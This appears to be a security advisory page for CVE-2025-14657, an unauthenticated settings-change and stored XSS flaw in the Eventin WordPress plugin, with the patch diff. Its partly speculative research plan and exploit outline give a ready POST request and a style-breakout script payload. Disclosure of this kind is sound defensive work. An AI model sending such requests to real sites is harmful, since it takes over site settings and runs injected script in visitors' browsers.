CVE-2025-14657

Eventin – Event Manager, Event Booking, Calendar, Tickets and Registration Plugin (AI Powered) <= 4.0.51 - Missing Authorization to Unauthenticated Stored Cross-Site Scripting via 'post_settings'

highMissing Authorization
7.2
CVSS Score
7.2
CVSS Score
high
Severity
4.0.52
Patched in
1d
Time to patch

Description

The Eventin – Event Manager, Events Calendar, Event Tickets and Registrations plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'post_settings' function in all versions up to, and including, 4.0.51. This makes it possible for unauthenticated attackers to modify plugin settings. Furthermore, due to insufficient input sanitization and output escaping on the 'etn_primary_color' setting, this enables unauthenticated attackers to inject arbitrary web scripts that will execute whenever a user accesses a page where Eventin styles are loaded.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.0.51
PublishedJanuary 8, 2026
Last updatedJanuary 9, 2026
Affected pluginwp-event-solution

What Changed in the Fix

Changes introduced in v4.0.52

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2025-14657 - Unauthenticated Stored XSS via `post_settings` ## 1. Vulnerability Summary The **Eventin** plugin (versions <= 4.0.51) contains a critical missing authorization vulnerability in its settings update mechanism. Specifically, the function `post_settings` (likely an AJ…

Show full research plan

Research Plan: CVE-2025-14657 - Unauthenticated Stored XSS via post_settings

1. Vulnerability Summary

The Eventin plugin (versions <= 4.0.51) contains a critical missing authorization vulnerability in its settings update mechanism. Specifically, the function post_settings (likely an AJAX handler) fails to verify user capabilities or check for valid nonces, allowing unauthenticated attackers to modify global plugin settings.

One of these settings, etn_primary_color, is subsequently retrieved by the register_custom_inline() function in base/Enqueue/register.php and embedded directly into a <style> block in the document <head> without proper sanitization or escaping. This allows for "CSS injection to JS execution" by closing the <style> tag and opening a <script> tag.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: post_settings (Inferred from vulnerability title)
  • Vulnerable Parameter: etn_primary_color (Likely sent within a settings array or as a top-level POST parameter)
  • Authentication: Unauthenticated (The wp_ajax_nopriv_post_settings hook is likely present or the handler is called via a common hook like init without checking is_admin()).
  • Preconditions: The plugin must be active. The XSS executes on any page where Eventin styles are loaded (most frontend pages).

3. Code Flow

  1. Entry Point: An unauthenticated request is sent to admin-ajax.php?action=post_settings.
  2. Missing Check: The handler for post_settings executes. It lacks if ( ! current_user_can( 'manage_options' ) ) and fails to verify a nonce via check_ajax_referer.
  3. Persistence: The handler takes the input (e.g., $_POST['etn_primary_color']) and saves it using update_option() (likely within an array called etn_settings).
  4. Loading: A user visits the site. The Eventin\Enqueue\Register class is instantiated.
  5. Execution (Source): base/Enqueue/register.php has a hook add_action( 'wp_head', [ $this, 'register_custom_inline' ] );.
  6. Retrieval: Inside register_custom_inline():
    $settings        = etn_get_option(); // Returns the compromised settings array
    $primary_color   = '#5D78FF';
    if ( ! empty( $settings['etn_primary_color'] ) ) {
        $primary_color = $settings['etn_primary_color']; // Attacker controlled
    }
    
  7. Sink: The value is appended to $etn_custom_css:
    $etn_custom_css .= "
    .etn-event-single-content-wrap .etn-event-meta .etn-event-category span,
    ... { color: $primary_color; } 
    ";
    
    The function then outputs this CSS via wp_add_inline_style or direct echo (source truncated, but description confirms it executes whenever styles load).

4. Nonce Acquisition Strategy

The vulnerability description explicitly states "Missing Authorization" and "Unauthenticated". This usually implies:

  1. The wp_ajax_nopriv_post_settings hook exists.
  2. The developer neglected to add check_ajax_referer().

Verification Strategy:
First, attempt the exploit without a nonce. If it fails with a 0 or -1 response, investigate if a nonce is leaked.

  • Shortcode for Loading: Eventin often uses [etn-events] or [etn-schedule].
  • Nonce Extraction:
    1. Create a page: wp post create --post_type=page --post_status=publish --post_content='[etn-events]'
    2. Navigate to the page.
    3. Check window.localized_data_obj (identified in base/Enqueue/register.php and admin.php).
    4. Command: browser_eval("window.localized_data_obj?.nonce") (or look for keys like etn_nonce).

5. Exploitation Strategy

The goal is to update the etn_primary_color to include a payload that breaks out of the CSS block.

Step 1: Discover Payload Structure

The plugin likely expects settings in a specific POST format. Common formats for this plugin:

  • action=post_settings&etn_primary_color=VALUE
  • action=post_settings&settings[etn_primary_color]=VALUE

Step 2: Craft Payload

#5D78FF; } </style><script>alert(origin)</script><style> { color: 

Step 3: Send Exploit Request

Using the http_request tool:

  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body: action=post_settings&etn_primary_color=%235D78FF%3B%20%7D%20%3C%2Fstyle%3E%3Cscript%3Ealert%28origin%29%3C%2Fscript%3E%3Cstyle%3E

6. Test Data Setup

  1. Install Eventin: Ensure version <= 4.0.51 is installed and active.
  2. Target Page: Create a public page to view the XSS:
    wp post create --post_type=page --post_title="XSS Trigger" --post_status=publish --post_content="Testing Eventin XSS"

7. Expected Results

  • The admin-ajax.php request should return a success code (likely 1 or a JSON success message).
  • When visiting the "XSS Trigger" page, the HTML source should contain:
    <style id='etn-custom-inline-css' type='text/css'>
    ... { color: #5D78FF; } </style><script>alert(origin)</script><style>; }
    </style>
    
  • The browser should trigger an alert box.

8. Verification Steps

  1. Check Database: Use WP-CLI to verify the option was changed.
    wp option get etn_settings (or check for an option named etn_primary_color).
  2. Verify Payload:
    wp option get etn_settings --format=json | grep "alert(origin)"

9. Alternative Approaches

If post_settings is not the correct AJAX action:

  1. Search for Action: Search the plugin for other nopriv AJAX actions:
    grep -r "wp_ajax_nopriv_" wp-content/plugins/wp-event-solution/
  2. Check for REST: Look for register_rest_route calls that might update settings.
  3. Check for admin_init hooks: Sometimes plugins process $_POST settings in admin_init without checking if the user is actually an admin or on an admin page.
    grep -r "admin_init" wp-content/plugins/wp-event-solution/
  4. Payload Variation: If the input is sanitized by sanitize_text_field, <script> tags will be stripped. However, the vulnerability description specifically states "insufficient input sanitization," suggesting it is not properly sanitized. If it is, look for CSS-based XSS or other unsanitized settings keys.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Eventin plugin for WordPress is vulnerable to unauthenticated settings modification due to a missing authorization check in its API handler. This allows attackers to update plugin settings, including 'etn_primary_color', which is then output without sanitization into an inline CSS block, leading to stored Cross-Site Scripting (XSS).

Vulnerable Code

// base/api-handler.php:67
    public function permision_check() {
        return true;
    }

---

// base/Enqueue/register.php:228
	public function register_custom_inline() {
        $settings        = etn_get_option();
		$etn_custom_css  = '';
		$primary_color   = '#5D78FF';
		$secondary_color = '';

		// cart bg color.
		if ( ! empty( $settings['etn_primary_color'] ) ) {
			$primary_color = $settings['etn_primary_color'];
		}

		// cart icon color.
		if ( ! empty( $settings['etn_secondary_color'] ) ) {
			$secondary_color = $settings['etn_secondary_color'];
		}

		$etn_custom_css .= "
        .etn-event-single-content-wrap .etn-event-meta .etn-event-category span,
        ... { color: $primary_color; } ";

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-event-solution/4.0.51/base/api-handler.php /home/deploy/wp-safety.org/data/plugin-versions/wp-event-solution/4.0.52/base/api-handler.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-event-solution/4.0.51/base/api-handler.php	2025-11-05 09:28:48.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-event-solution/4.0.52/base/api-handler.php	2025-12-31 06:38:08.000000000 +0000
@@ -67,8 +64,29 @@
      *
      * @return  bool
      */
-    public function permision_check() {
-        return true;
+    public function permision_check($request) {
+        // Verify nonce for all API requests
+        $nonce = $request->get_header( 'X-WP-Nonce' );
+
+        if ( empty( $nonce ) ) {
+            return false;
+        }
+
+        // For administrative actions, also require manage_options capability
+        $admin_actions = ['settings'];
+        $action = $this->request['action'] ?? '';
+
+        if ( in_array( $action, $admin_actions ) ) {
+            return current_user_can( 'manage_options' ) && wp_verify_nonce( $nonce, 'wp_rest' );
+        }
+
+        // Verify the nonce
+        if ( wp_verify_nonce( $nonce, 'wp_rest' ) ) {
+            return true;
+        }
+
+        // Nonce is valid - allow access
+        return false;
     }
 
 }
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-event-solution/4.0.51/base/Enqueue/register.php /home/deploy/wp-safety.org/data/plugin-versions/wp-event-solution/4.0.52/base/Enqueue/register.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-event-solution/4.0.51/base/Enqueue/register.php	2025-11-05 09:28:48.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-event-solution/4.0.52/base/Enqueue/register.php	2025-12-31 06:38:08.000000000 +0000
@@ -225,14 +225,21 @@
 		$primary_color   = '#5D78FF';
 		$secondary_color = '';
 
-		// cart bg color.
+		// SECURITY: Sanitize color values to prevent XSS
 		if ( ! empty( $settings['etn_primary_color'] ) ) {
-			$primary_color = $settings['etn_primary_color'];
+			$primary_color = sanitize_hex_color( $settings['etn_primary_color'] );
+			// Fallback to default if sanitization fails
+			if ( empty( $primary_color ) ) {
+				$primary_color = '#5D78FF';
+			}
 		}
 
-		// cart icon color.
 		if ( ! empty( $settings['etn_secondary_color'] ) ) {
-			$secondary_color = $settings['etn_secondary_color'];
+			$secondary_color = sanitize_hex_color( $settings['etn_secondary_color'] );
+			// Fallback to empty if sanitization fails
+			if ( empty( $secondary_color ) && ! empty( $settings['etn_secondary_color'] ) ) {
+				$secondary_color = '';
+			}
 		}

Exploit Outline

The exploit targets the API endpoint managed by `Eventin\ApiHandler`. An attacker can send a POST request with the action set to 'settings' to modify the plugin's configuration without authentication. By including the 'etn_primary_color' parameter with a payload designed to break out of a CSS context (e.g., `#5D78FF; } </style><script>alert(1)</script><style>`), the malicious script is saved to the database. Whenever a user visits a page where the plugin loads its inline styles (via `register_custom_inline`), the payload is injected into the HTML `<head>`, executing the script in the user's browser.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.